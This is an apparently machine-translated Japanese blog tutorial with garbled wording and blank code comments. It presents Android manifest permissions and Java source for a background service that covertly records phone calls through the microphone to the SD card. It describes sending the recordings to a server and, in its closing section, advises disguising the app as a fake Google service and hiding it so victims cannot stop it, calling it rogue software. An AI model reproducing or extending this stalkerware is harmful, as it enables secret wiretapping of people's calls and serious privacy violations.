androidの電話盗聴器


実は1つの简単な电话の盗聴を実现するのは1件のとても简単な事で、アメリカの大きい映画の中でいつもハッカーが他の人の通话の内容を盗むのではありませんか、考えてみると少し兴奋して、今日、私も1つの小さい电话の盗聴器を実现して、みんなに分かち合って、みんなに楽しみをあげたいです.
電話盗聴器を実現する手順:(Android携帯電話に限られる)1.電話を取るサービス
2.電話の傍受を開始する
3.傍受中に録音をオンにする
4.録音をサーバ側に送信
5.サーバ側から自分にokを送信し、完了
サンプルソース:
1.権限の問題、電話サービス、録音など
	<uses-permission android:name="android.permission.RECORD_AUDIO" /> <!--       -->
    	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <!--   sd    -->
    	<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!--      -->

	<!--         -->
        <service android:name="com.zengtao.service.MyPhoneStausService" >
        </service>

2.電話サービス
package com.zengtao.service;

import java.io.IOException;
import android.annotation.SuppressLint;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.widget.Toast;

/**
 * my tephone service
 * 
 * @author Administrator zengtao
 * 
 */
public class MyPhoneStausService extends Service {

	@Override
	public IBinder onBind(Intent intent) {
		Toast.makeText(getBaseContext(), "start service", Toast.LENGTH_SHORT)
				.show();
		return null;
	}

	@Override
	public void onCreate() {
		super.onCreate();
		// get telephone service
		TelephonyManager telephony = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
		// set telephone listener status
		telephony.listen(new MyPhoneStausListener(),
				PhoneStateListener.LISTEN_CALL_STATE);
	}

	/**
	 * telephone status listener
	 * 
	 * @author Administrator zengtao
	 * 
	 */
	private class MyPhoneStausListener extends PhoneStateListener {
		private MediaRecorder recorder;

		/**
		 * the telephone status is changed
		 */
		@SuppressLint("SdCardPath")
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE: //     ,    ,    
					if (recorder != null) {
						recorder.start();
						recorder.reset();
						recorder.release();
						recorder = null;
					}
					break;
				case TelephonyManager.CALL_STATE_RINGING: //      
					//     
					recorder = new MediaRecorder();
					//       ---   
					recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					recorder.setOutputFile("/sdcard/"
							+ System.currentTimeMillis() + ".3gp");
					recorder.prepare();
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK: //    
					if (recorder != null) {
						recorder.start();
					}
					break;
				default:
					break;
				}
			} catch (IllegalStateException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

	@Override
	public void onDestroy() {
		super.onDestroy();
		Toast.makeText(getBaseContext(), "service stop", Toast.LENGTH_SHORT)
				.show();
	}

}

3.Mainactivity
package com.zengtao.demo;

import com.zengtao.service.MyPhoneStausService;

import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;

public class MainActivity extends ActionBarActivity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		Intent intent = new Intent(this, MyPhoneStausService.class);
		startService(intent);
	}
}

4.まとめ
以上で簡単な電話盗聴器が完成しました.もちろん、このdemoの名前を「Gooleのキーサービス」に変更することができます.activityのビューは携帯電話のデスクトップに表示されません.これらはよくできました.分からない人は、誰がこのサービスを閉鎖することができますか.よく知っているプログラミング者でも、これを見ると閉鎖できないような気がします.安いのではないでしょうか.聞き苦しいことを言ってください.ヤクザソフトです.ハハ、もちろんこのサービスがオープンした後、activityをオフにしても、バックグラウンドでも同じように実行されます.手動でオフにしないと、ずっと実行されます.もちろん、コードで実現する方法でサービスをオフにすることができます.